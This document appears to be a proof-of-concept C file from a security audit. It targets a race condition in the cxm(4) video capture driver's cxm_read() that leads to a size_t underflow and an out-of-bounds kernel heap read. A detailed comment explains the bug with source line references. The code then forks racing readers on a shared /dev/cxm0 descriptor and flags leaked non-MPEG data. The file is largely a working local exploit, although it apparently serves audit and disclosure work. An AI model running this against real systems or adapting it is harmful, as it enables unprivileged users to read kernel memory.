DF-3941 / cxm_read_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 | /* * DF-3941 PoC trigger — cxm(4) ring-buffer race -> size_t underflow -> OOB read * * Target: sys/dev/video/cxm/cxm.c cxm_read() (lines 2211-2299) * * Bug summary (see VERDICT.md): * - /dev/cxmN is created 0444 (cxm.c:1885-1886) => any unprivileged user can * open it. cxm_open() only refuses a *second open* (is_opened, cxm.c:2158); * sharing ONE open fd via fork() gives N concurrent cxm_read() callers. * - cxm_read() consumes the DMA ring with no serialization: the crit section * (cxm.c:2244-2260) only guards the tsleep and the pointer snapshot; the * whole fixup+uiomove loop (2262-2288) and the offset/read bookkeeping * (2290-2296) run unlocked. * - enc_pool.offset is ONE shared size_t for the whole ring. A partially * consumed buffer i leaves offset = X (< size_i); the pair (offset, read) is * saved non-atomically. A racing thread that fully consumes buffer i saves * offset = 0 and advances read -> j. A third context that read offset * (line 2262) *before* that save but reads the read-pointer (for-init, line * 2264) *after* the advance computes * nbytes = bufs[j].size - offset; (cxm.c:2270) * which UNDERFLOWS (size_t) whenever X > size_j, is then clamped only by * uio_resid (2273-2274) and handed to * uiomove(vaddr_j + offset, nbytes, uio); (cxm.c:2276) * => kernel-heap disclosure past the 61440-byte (CXM_SG_SEGMENT) DMA buffer. * - The simpler double-consume / METEORCAPTUR-restart interleavings desync * read past write, so read() returns buffers never written by DMA: * bus_dmamem_alloc() memory (cxm.c:1806-1809) that was never zeroed. * * Success criterion on real hardware (CX23416 card, capture running): * - read() returns data whose length/content cannot come from the ring * (e.g. non-MPEG garbage, kernel pointers), or * - the racing processes observe more consumable bytes than the ring holds. * * On the audit QEMU guest there is no CX23416 PCI device: open() fails and we * document that (expected here: "open: No such file or directory"). */ #include <sys/types.h> #include <sys/ioctl.h> #include <dev/video/meteor/ioctl_meteor.h> #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #define DEV "/dev/cxm0" #define NREADERS 4 int main(void) { int fd; int i; int cap = METEOR_CAP_CONTINOUS; pid_t pid; fd = open(DEV, O_RDONLY); if (fd < 0) { printf("[-] open(%s): %s\n", DEV, strerror(errno)); printf("[-] no cxm device on this machine " "(needs Conexant CX23415/CX23416 PCI card)\n"); return (1); } printf("[+] opened %s\n", DEV); /* start continuous capture so DMA interrupts advance enc_pool.write */ if (ioctl(fd, METEORCAPTUR, &cap) < 0) printf("[!] METEORCAPTUR(CONTINOUS): %s (continuing)\n", strerror(errno)); /* reader children: mixed short/long reads to leave partial offsets */ for (i = 0; i < NREADERS; i++) { pid = fork(); if (pid == 0) { unsigned char buf[70000]; size_t sz; ssize_t n; unsigned long total = 0, odd = 0; srandom(getpid()); for (;;) { /* short reads => frequent partial-buffer offsets */ sz = (random() % 3 == 0) ? 1000 : 1000 + random() % 60000; n = read(fd, buf, sz); if (n < 0) { if (errno != EINTR) _exit(2); continue; } total += n; /* * crude anomaly detector: MPEG program streams * start with 0x000001 pack headers; count * obviously non-MPEG bulk data */ if (n >= 4 && buf[0] == 0 && buf[1] == 0 && buf[2] == 1) /* pack/system header */; else odd++; if (odd > 64) { printf("[!] pid %d: %lu/%lu bytes not " "MPEG-framed (possible kernel heap " "leak)\n", getpid(), odd, total); _exit(42); } } } } printf("[*] %d racing readers running (kill with ^C)\n", NREADERS); pause(); return (0); } |